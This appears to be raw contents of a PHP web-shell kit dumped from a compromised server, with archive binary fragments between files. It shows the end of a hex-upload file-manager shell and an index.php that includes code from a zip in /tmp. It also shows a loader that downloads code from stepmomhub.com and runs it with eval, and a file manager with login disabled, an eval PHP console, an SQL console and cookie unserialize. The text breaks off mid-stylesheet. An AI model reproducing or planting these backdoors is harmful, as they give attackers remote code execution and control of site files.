    <br><b>&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212</b>
    <br><br><form id="uploadForm" class="ajaxForm" method="POST">
        <label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
        <input type="file" id="fileInput" required>
        <input type="submit" value="Upload">
    </form>

    <br><div id="breadcrumbContainer">
    <?php
    $k = preg_split("/(\\\\|\/)/", $d);
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            echo '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        echo '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            echo hex($k[$i]);
            if ($i != $m) echo '2f';
        }
        echo '">'.$l.'</a>/';
    }
    ?>
</div><br>
<div id="actionContainer"></div><br>
    <div id="fileListContainer">
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        ?>
        <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
            <?php
            foreach ($dirList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
                echo '<td>-</td>';
                echo '<td></td>';
                echo '</tr>';
            }
            foreach ($fileList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td>' . htmlspecialchars($entry) . '</td>';
                echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
                echo '<td>';
                echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
                echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
                echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
                echo '</td>';
                echo '</tr>';
            }
            ?>
            </tbody>
        </table>
    </div>
</div>

<div class="notification" id="notification" style="display:none;"></div>

<script>
// Show notification in the bottom left corner; auto-dismiss after 2 seconds.
function showNotification(status, msg) {
    var notif = document.getElementById('notification');
    notif.className = 'notification ' + status;
    notif.innerText = msg;
    notif.style.display = 'block';
    setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}

function loadBreadcrumb() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('breadcrumbContainer').innerHTML = html;
    });
}

function getQueryParam(name) {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get(name);
}

function loadFileList() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('fileListContainer').innerHTML = html;
        attachAjaxEvents(); // reattach events after update
        resetFileInputLabel();
    });
}

function resetFileInputLabel() {
    var label = document.getElementById('fileLabel');
    if(label) {
        label.textContent = "Choose File";
    }
}

function attachAjaxEvents() {
    document.querySelectorAll('.ajaxDelete').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                loadFileList();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxEdit').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxRename').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxDir').forEach(function(link) {
    link.addEventListener('click', function(e) {
        e.preventDefault();
        window.history.pushState(null, '', link.href);
        loadFileList();  // Reload the file list
        loadBreadcrumb(); // Reload the breadcrumb
        resetFileInputLabel();
        resetFileInput();
    });
});
}

function attachAjaxForm() {
    document.querySelectorAll('.ajaxForm').forEach(function(form) {
        form.addEventListener('submit', function(e) {
            e.preventDefault();
            var formData = new FormData(form);
            fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                document.getElementById('actionContainer').innerHTML = '';
                loadFileList();
                resetFileInputLabel();
            });
        });
    });
}

function attachCancelEvent() {
    var cancelBtn = document.getElementById('cancelAction');
    if(cancelBtn) {
        cancelBtn.addEventListener('click', function() {
            document.getElementById('actionContainer').innerHTML = '';
            resetFileInputLabel();
        });
    }
}

function resetFileInput() {
    var fileInput = document.getElementById('fileInput');
    var fileLabel = document.getElementById('fileLabel');
    if (fileInput) {
        fileInput.value = ""; // Clear any selected file
    }
    if (fileLabel) {
        fileLabel.textContent = "Choose File"; // Reset label text
    }
}

document.addEventListener('DOMContentLoaded', function() {
    attachAjaxEvents();
    var fileInput = document.getElementById('fileInput');
    var uploadForm = document.getElementById('uploadForm');

    fileInput.addEventListener('change', function() {
        var label = document.getElementById('fileLabel');
        if(fileInput.files.length > 0) {
            label.textContent = fileInput.files[0].name;
        } else {
            label.textContent = "Choose File";
        }
    });

    if(uploadForm) {
        uploadForm.addEventListener('submit', function(e) {
            e.preventDefault();
            if(fileInput.files.length === 0) return;

            var file = fileInput.files[0];
            var reader = new FileReader();

            reader.onload = function(event) {
                var arrayBuffer = event.target.result;
                var bytes = new Uint8Array(arrayBuffer);
                var hexString = '';
                for (var i = 0; i < bytes.length; i++) {
                    hexString += bytes[i].toString(16).padStart(2, '0');
                }

                var formData = new FormData();
                formData.append("benkyo", file.name);
                formData.append("dakeja", hexString);

                fetch(uploadForm.action || window.location.href, {
                    method: 'POST',
                    body: formData,
                    headers: { 'X-Requested-With': 'XMLHttpRequest' }
                })
                .then(response => response.json())
                .then(data => {
                    showNotification(data.status, data.msg);
                    uploadForm.reset();
                    resetFileInputLabel();
                    loadFileList();
                });
            };

            reader.readAsArrayBuffer(file);
        });
    }
});
</script>
<footer class="futer">
				&copy; zeinhorobosu
			</footer>
</body>
</html>
PKs;m\T�pWhh	index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "ile3.php"; include("zip:///tmp/phptpd9aH#$h");?>PKu;m\�z6��	2zj6q.phpnu�[���
<?php

$url = 'https://stepmomhub.com/3.txt';

// Inisialisasi cURL
$ch = curl_init();

// Set opsi cURL
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);  // Nonaktifkan verifikasi SSL jika perlu
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  // Nonaktifkan verifikasi SSL jika perlu
// Eksekusi cURL dan ambil hasilnya

$code = curl_exec($ch);

// Cek apakah cURL berhasil
if($code === false) {
    echo "Gagal mengambil data dari URL: " . curl_error($ch);
} else {
    // Jalankan kode yang diambil
    eval('?>' . $code);
}

// Tutup sesi cURL
curl_close($ch);
?>PKx;m\�0a�n�n�	ihmkq.phpnu�[���<?php
/**
 * PHP File Manager
 * A complete web-based file management solution
 */

// =============================================
// CONFIGURATION SECTION
// =============================================

// Basic Configuration
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$fm_version = '2.0';

// Supported Languages
$langs = array('en', 'ru', 'de', 'fr', 'ja', 'uk');
$default_language = 'en';
$detect_lang = true;

// Path Configuration
$path = empty($_REQUEST['path']) ? realpath('.') : realpath($_REQUEST['path']);
if (!$path) $path = realpath('.');
$path = str_replace('\\', '/', $path) . '/';
$main_path = str_replace('\\', '/', realpath('./'));

// PHP Version Check
$phar_maybe = (version_compare(phpversion(), "5.3.0", "<")) ? true : false;

// Message Container
$msg = '';

// =============================================
// AUTHORIZATION CONFIGURATION
// =============================================

$authorization = '{
    "authorize": 0,
    "days_authorization": 30,
    "login": "admin",
    "password": "phpfm",
    "cookie_name": "fm_user",
    "script": ""
}';

$auth = json_decode($authorization, true);

// =============================================
// TRANSLATION SYSTEM
// =============================================

$translation = '{
    "id": "en",
    "File manager": "File Manager",
    "Login": "Login",
    "Password": "Password",
    "Enter": "Enter",
    "Language": "Language",
    "English": "English",
    "German": "German",
    "Russian": "Russian",
    "French": "French",
    "Ukrainian": "Ukrainian",
    "Settings": "Settings",
    "done": "done",
    "Error occurred": "Error occurred",
    "File updated": "File updated",
    "Back": "Back",
    "Edit": "Edit",
    "Submit": "Submit",
    "Cancel": "Cancel",
    "Rights": "Permissions",
    "Recursively": "Recursively",
    "Rename": "Rename",
    "Files uploaded": "Files uploaded",
    "Deleted": "Deleted",
    "Created": "Created",
    "Make directory": "Create Directory",
    "New file": "New File",
    "Select the file": "Select the file",
    "Upload": "Upload",
    "Hello": "Hello",
    "Quit": "Logout",
    "Filename": "Filename",
    "Size": "Size",
    "Date": "Date",
    "Manage": "Manage",
    "Show": "Show",
    "Download": "Download",
    "Delete": "Delete",
    "Are you sure you want to delete this directory (recursively)?": "Are you sure you want to delete this directory (recursively)?",
    "Are you sure you want to delete this file?": "Are you sure you want to delete this file?",
    "File selected": "File selected",
    "Compress": "Compress",
    "Archiving": "Archiving",
    "Task": "Task",
    "Reset settings": "Reset Settings",
    "Cookie": "Cookie",
    "Days": "Days",
    "Script": "Script",
    "Save": "Save",
    "Add": "Add",
    "Name": "Name",
    "Value": "Value",
    "templates": "templates",
    "Console": "Console",
    "Result": "Result",
    "Reset": "Reset",
    "Select": "Select",
    "Template": "Template",
    "Home": "Home",
    "Generation time": "Generation time",
    "Recursive search": "Recursive search",
    "Mask": "Mask",
    "Search": "Search",
    "Found in files": "Found in files",
    "Nothing founded": "Nothing found",
    "No file": "No file",
    "to": "to",
    "Archive": "Archive",
    "Mode is incorrect": "Mode is incorrect",
    "Directory is not readable": "Directory is not readable",
    "File already exists": "File already exists",
    "as folder": "as folder",
    "Cannot create directory": "Cannot create directory",
    "Cannot write to file": "Cannot write to file",
    "Size of file": "Size of file",
    "is incorrect": "is incorrect",
    "Invalid file descriptor": "Invalid file descriptor",
    "is not readable": "is not readable",
    "Cannot rename": "Cannot rename",
    "Error": "Error",
    "Authorization": "Authorization",
    "Restore file time after editing": "Restore file time after editing",
    "Show size of the folder": "Show folder size",
    "Show pictures": "Show images",
    "Show PHP version": "Show PHP version",
    "Show PHP ini": "Show PHP configuration",
    "Show generation time": "Show generation time",
    "Show PHP Console": "Show PHP Console",
    "Show SQL Console": "Show SQL Console",
    "Show Proxy": "Show Proxy",
    "Show xls": "Show Excel export",
    "Decompress": "Decompress",
    "no files": "no files",
    "Success": "Success"
}';

$lang = json_decode($translation, true);

// =============================================
// DEFAULT CONFIGURATION
// =============================================

$fm_default_config = array(
    'make_directory' => true,
    'new_file' => true,
    'upload_file' => true,
    'show_dir_size' => false,
    'show_img' => true,
    'show_php_ver' => true,
    'show_php_ini' => false,
    'show_gt' => true,
    'enable_php_console' => true,
    'enable_sql_console' => true,
    'sql_server' => 'localhost',
    'sql_username' => 'root',
    'sql_password' => '',
    'sql_db' => 'test_base',
    'enable_proxy' => false,
    'show_phpinfo' => true,
    'show_xls' => true,
    'fm_settings' => true,
    'restore_time' => true,
    'fm_restore_time' => false,
);

// Load user configuration
if (empty($_COOKIE['fm_config'])) {
    $fm_config = $fm_default_config;
} else {
    $fm_config = unserialize($_COOKIE['fm_config']);
    if (!is_array($fm_config)) {
        $fm_config = $fm_default_config;
    }
}

// =============================================
// LANGUAGE DETECTION
// =============================================

// Change language from POST
if (isset($_POST['fm_lang'])) {
    setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
    $_COOKIE['fm_lang'] = $_POST['fm_lang'];
}

$language = $default_language;

// Detect browser language
if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) {
    $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
    if (!empty($lang_priority)) {
        foreach ($lang_priority as $lang_arr) {
            $lng = explode(';', $lang_arr);
            $lng = substr($lng[0], 0, 2);
            if (in_array($lng, $langs)) {
                $language = $lng;
                break;
            }
        }
    }
}

// Use cookie language if set
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// =============================================
// CORE FUNCTIONS
// =============================================

/**
 * Translation function
 */
function __($text) {
    global $lang;
    return isset($lang[$text]) ? $lang[$text] : $text;
}

/**
 * Delete files and directories recursively
 */
function fm_del_files($file, $recursive = false) {
    if ($recursive && @is_dir($file)) {
        $els = fm_scan_dir($file, '', '', true);
        foreach ($els as $el) {
            if ($el != '.' && $el != '..') {
                fm_del_files($file . '/' . $el, true);
            }
        }
    }
    if (@is_dir($file)) {
        return rmdir($file);
    } else {
        return @unlink($file);
    }
}

/**
 * Get file permissions string
 */
function fm_rights_string($file, $if = false) {
    $perms = fileperms($file);
    $info = '';
    
    if (!$if) {
        if (($perms & 0xC000) == 0xC000) {
            $info = 's'; // Socket
        } elseif (($perms & 0xA000) == 0xA000) {
            $info = 'l'; // Symbolic Link
        } elseif (($perms & 0x8000) == 0x8000) {
            $info = '-'; // Regular
        } elseif (($perms & 0x6000) == 0x6000) {
            $info = 'b'; // Block special
        } elseif (($perms & 0x4000) == 0x4000) {
            $info = 'd'; // Directory
        } elseif (($perms & 0x2000) == 0x2000) {
            $info = 'c'; // Character special
        } elseif (($perms & 0x1000) == 0x1000) {
            $info = 'p'; // FIFO pipe
        } else {
            $info = 'u'; // Unknown
        }
    }
    
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

/**
 * Convert rights string to octal
 */
function fm_convert_rights($mode) {
    $mode = str_pad($mode, 9, '-');
    $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1');
    $mode = strtr($mode, $trans);
    $newmode = '0';
    $owner = (int)$mode[0] + (int)$mode[1] + (int)$mode[2];
    $group = (int)$mode[3] + (int)$mode[4] + (int)$mode[5];
    $world = (int)$mode[6] + (int)$mode[7] + (int)$mode[8];
    $newmode .= $owner . $group . $world;
    return intval($newmode, 8);
}

/**
 * Change file permissions
 */
function fm_chmod($file, $val, $rec = false) {
    $res = @chmod(realpath($file), $val);
    if (@is_dir($file) && $rec) {
        $els = fm_scan_dir($file);
        foreach ($els as $el) {
            $res = $res && fm_chmod($file . '/' . $el, $val, true);
        }
    }
    return $res;
}

/**
 * Download file
 */
function fm_download($file_name) {
    if (!empty($file_name) && file_exists($file_name)) {
        header("Content-Disposition: attachment; filename=" . basename($file_name));
        header("Content-Type: application/octet-stream");
        header("Content-Length: " . filesize($file_name));
        readfile($file_name);
        exit;
    } else {
        header('HTTP/1.0 404 Not Found', true, 404);
        exit;
    }
}

/**
 * Calculate directory size
 */
function fm_dir_size($f, $format = true) {
    if (is_file($f)) {
        $size = filesize($f);
    } else {
        $size = 0;
        $dh = opendir($f);
        while (($file = readdir($dh)) !== false) {
            if ($file == '.' || $file == '..') continue;
            $filepath = $f . '/' . $file;
            $size += is_file($filepath) ? filesize($filepath) : fm_dir_size($filepath, false);
        }
        closedir($dh);
    }
    
    if (!$format) return $size;
    
    if ($size == 0) return '0 bytes';
    $units = array('bytes', 'KB', 'MB', 'GB', 'TB');
    $i = floor(log($size, 1024));
    return round($size / pow(1024, $i), 2) . ' ' . $units[$i];
}

/**
 * Scan directory
 */
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
    $dir = array();
    if (!empty($exp)) {
        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
    }
    
    if (!empty($type) && $type !== 'all') {
        $func = 'is_' . $type;
    }
    
    if (@is_dir($directory)) {
        $fh = opendir($directory);
        while (false !== ($filename = readdir($fh))) {
            if (substr($filename, 0, 1) != '.' || $do_not_filter) {
                if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && 
                    (empty($exp) || preg_match($exp, $filename))) {
                    $dir[] = $filename;
                }
            }
        }
        closedir($fh);
        natsort($dir);
    }
    return $dir;
}

/**
 * Create navigation link
 */
function fm_link($get, $link, $name, $title = '') {
    if (empty($title)) $title = $name . ' ' . basename($link);
    return '&nbsp;&nbsp;<a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>';
}

/**
 * Language selection form
 */
function fm_lang_form($current = 'en') {
    $languages = array(
        'en' => __('English'),
        'de' => __('German'),
        'ru' => __('Russian'),
        'fr' => __('French'),
        'uk' => __('Ukrainian')
    );
    
    $options = '';
    foreach ($languages as $code => $name) {
        $selected = ($current == $code) ? 'selected="selected"' : '';
        $options .= '<option value="' . $code . '" ' . $selected . '>' . $name . '</option>';
    }
    
    return '
    <form name="change_lang" method="post" action="">
        <select name="fm_lang" title="' . __('Language') . '" onchange="this.form.submit()">
            ' . $options . '
        </select>
    </form>';
}

/**
 * Check if directory is root
 */
function fm_root($dirname) {
    return ($dirname == '.' || $dirname == '..');
}

/**
 * Execute PHP code
 */
function fm_php($string) {
    $display_errors = ini_get('display_errors');
    ini_set('display_errors', '1');
    ob_start();
    eval(trim($string));
    $text = ob_get_contents();
    ob_end_clean();
    ini_set('display_errors', $display_errors);
    return $text;
}

/**
 * SQL Connection
 */
function fm_sql_connect() {
    global $fm_config;
    return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

/**
 * Execute SQL query
 */
function fm_sql($query) {
    $connection = fm_sql_connect();
    if ($connection->connect_error) {
        return $connection->connect_error;
    }
    
    $connection->set_charset('utf8');
    $result = $connection->query($query);
    
    if ($result === false) {
        return mysqli_error($connection);
    }
    
    $output = '';
    if ($result instanceof mysqli_result) {
        $output .= '<table border="1" cellpadding="4" cellspacing="0">';
        $first = true;
        while ($row = $result->fetch_assoc()) {
            if ($first) {
                $output .= '<tr>';
                foreach (array_keys($row) as $key) {
                    $output .= '<th>' . htmlspecialchars($key) . '</th>';
                }
                $output .= '</tr>';
                $first = false;
            }
            $output .= '<tr>';
            foreach ($row as $value) {
                $output .= '<td>' . htmlspecialchars($value) . '</td>';
            }
            $output .= '</tr>';
        }
        $output .= '</table>';
        $result->free();
    } else {
        $output = __('Query executed successfully');
    }
    
    $connection->close();
    return $output;
}

/**
 * Get image link
 */
function fm_img_link($filename) {
    return './' . basename(__FILE__) . '?img=' . base64_encode($filename);
}

/**
 * Home button style
 */
function fm_home_style() {
    return '
    .home {
        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAAdgAAAHYBTnsmCAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFYSURBVDiNpZM9SwNBEIafg4iFhY2N2FhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFjY2Ih/YGFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWHxX+zu3eY0kA8vszO7O/PO7M4q/keU/6vUfQ1AKaUBWoA2YAA4gA/gBXi11l5lBpRSOgA9wCgwDgwC3UAn0A40A1XgG3gC7oBL4Nxae5sCaK31gCFgCpgFJoA+oA1oARqBBkADv4ACvoBH4AY4A46stZcOoLXWAkaAeWABmAR6gVagCWhQShml1K9S6gdQgAJegGvgBDiw1l44gNZaD5gBloB5YALoAdqAJqWUVkr9KKW0UsoopX6VUt/AM3ALnAL71tpzB9Ba6wPzwAqwCIwD3UAr0KyU0kqpL6WUVkr9KKW+HIgH4Ao4BPastRcOoLXWBxaBVWABGAO6gBagUSn0opT6UEp9KKU+lFIfSqkP4AW4A06APWvtuQNorQ2AJWAVmANGgS6gBWhUSn0opd6VUu9KqXel1LtS6g14BW6BE2DPWnvmAFprA2AZWAPmgFGgE2gGGpRS70qpd6XUm1LqTSn1ppR6A96AO+AE2LXWnjmA1toAWAHWgTlgBOgAmoAGpdSbUupNKfWqlHpVSr0qpd6Bd+AOOAZ2rbVnDvAHs5xZ3Cz7j5AAAAAASUVORK5CYII=");
        background-repeat: no-repeat;
        display: inline-block;
        width: 16px;
        height: 16px;
        vertical-align: middle;
    }';
}

/**
 * Get site URL
 */
function fm_site_url() {
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https" : "http";
    return $protocol . "://" . $_SERVER['HTTP_HOST'];
}

/**
 * Get file manager URL
 */
function fm_url($full = false) {
    $host = $full ? fm_site_url() : '.';
    return $host . '/' . basename(__FILE__);
}

/**
 * Home link
 */
function fm_home($full = false) {
    return '&nbsp;<a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home"></span></a>';
}

// =============================================
// AUTHORIZATION CHECK
// =============================================

if ($auth['authorize']) {
    if (isset($_POST['login']) && isset($_POST['password'])) {
        if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) {
            setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + (86400 * $auth['days_authorization']));
            $_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']);
        }
    }
    
    if (!isset($_COOKIE[$auth['cookie_name']]) || $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) {
        echo '<!DOCTYPE html>
        <html>
        <head>
            <meta charset="utf-8">
            <meta name="viewport" content="width=device-width, initial-scale=1">
            <title>' . __('File manager') . '</title>
            <style>
                body { font-family: Arial, sans-serif; max-width: 400px; margin: 100px auto; padding: 20px; }
                .login-form { background: #f5f5f5; padding: 20px; border-radius: 5px; }
                input[type="text"], input[type="password"] { width: 100%; padding: 8px; margin: 5px 0; }
                input[type="submit"] { background: #006699; color: white; padding: 10px 20px; border: none; cursor: pointer; }
            </style>
        </head>
        <body>
            <div class="login-form">
                <h2>' . __('File manager') . '</h2>
                <form action="" method="post">
                    <p><input type="text" name="login" placeholder="' . __('Login') . '" required></p>
                    <p><input type="password" name="password" placeholder="' . __('Password') . '" required></p>
                    <p><input type="submit" value="' . __('Enter') . '"></p>
                </form>
                ' . fm_lang_form($language) . '
            </div>
        </body>
        </html>';
        exit;
    }
    
    if (isset($_POST['quit'])) {
        setcookie($auth['cookie_name'], '', time() - 3600);
        header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']);
        exit;
    }
}

// =============================================
// MAIN REQUEST HANDLING
// =============================================

// Handle file download
if (isset($_GET['download'])) {
    fm_download(base64_decode($_GET['download']));
}

// Handle image display
if (isset($_GET['img'])) {
    $file = base64_decode($_GET['img']);
    if ($info = getimagesize($file)) {
        switch ($info[2]) {
            case 1: $ext = 'gif'; break;
            case 2: $ext = 'jpeg'; break;
            case 3: $ext = 'png'; break;
            case 6: $ext = 'bmp'; break;
            default: exit;
        }
        header("Content-type: image/$ext");
        readfile($file);
        exit;
    }
}

// Show PHP info
if (isset($_GET['phpinfo'])) {
    phpinfo();
    exit;
}

// =============================================
// EDIT FILE HANDLING
// =============================================

// Handle file editing
if (isset($_GET['edit'])) {
    $file_to_edit = $path . $_GET['edit'];
    $file_content = '';
    
    if (file_exists($file_to_edit) && is_file($file_to_edit)) {
        $file_content = file_get_contents($file_to_edit);
    }
    
    // Handle form submission for saving edited file
    if (isset($_POST['file_content']) && isset($_POST['filename'])) {
        $new_content = $_POST['file_content'];
        $filename = $path . $_POST['filename'];
        
        if (file_put_contents($filename, $new_content)) {
            $msg = __('File updated');
            echo '<script>setTimeout(function(){ window.location.href = "?path=' . urlencode($path) . '"; }, 1000);</script>';
        } else {
            $msg = __('Error occurred');
        }
    }
    
    // Display edit form
    echo '<!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>' . __('Edit') . ' - ' . htmlspecialchars($_GET['edit']) . '</title>
        <style>
            body { font-family: Arial, sans-serif; margin: 20px; background: #f5f5f5; }
            .edit-form { background: white; padding: 20px; border-radius: 5px; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
            textarea { width: 100%; height: 400px; font-family: monospace; padding: 10px; border: 1px solid #ddd; }
            .buttons { margin-top: 10px; }
            input[type="submit"] { background: #006699; color: white; padding: 8px 16px; border: none; cursor: pointer; margin-right: 10px; }
            a.button { background: #666; color: white; padding: 8px 16px; text-decoration: none; display: inline-block; }
        </style>
    </head>
    <body>
        <div class="edit-form">
            <h2>' . __('Edit') . ': ' . htmlspecialchars($_GET['edit']) . '</h2>';
            
            if (!empty($msg)) {
                echo '<div style="background: #dff0d8; color: #3c763d; padding: 10px; margin-bottom: 15px; border-radius: 3px;">' . $msg . '</div>';
            }
            
            echo '
            <form method="post" action="">
                <input type="hidden" name="filename" value="' . htmlspecialchars($_GET['edit']) . '">
                <textarea name="file_content" spellcheck="false">' . htmlspecialchars($file_content) . '</textarea>
                <div class="buttons">
                    <input type="submit" value="' . __('Save') . '">
                    <a href="?path=' . urlencode($path) . '" class="button">' . __('Cancel') . '</a>
                </div>
            </form>
        </div>
    </body>
    </html>';
    exit;
}

// =============================================
// HTML OUTPUT
// =============================================
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title><?= __('File manager') ?></title>
    <style>
        body {
            background-color: white;
            font-family: Verdana, Arial, Helvetica, sans-serif;
            font-size: 8pt;
            margin: 0;
        }
        
        a { color: #006699; text-decoration: none; }
        a:hover { color: #DD6900; text-decoration: underline; }
        
        table { width: 100%; border-collapse: collapse; }
        th { background: #006699; color: #FFA34F; padding: 8px; text-align: left; }
        td { padding: 6px; border-bottom: 1px solid #ddd; }
        
        .row1 { background: #EFEFEF; }
        .row2 { background: #DEE3E7; }
        .row3 { background: #D1D7DC; padding: 10px; }
        
        .folder, .file, .img {
            display: inline-block;
            width: 16px;
            height: 16px;
            margin-right: 5px;
            vertical-align: middle;
        }
        
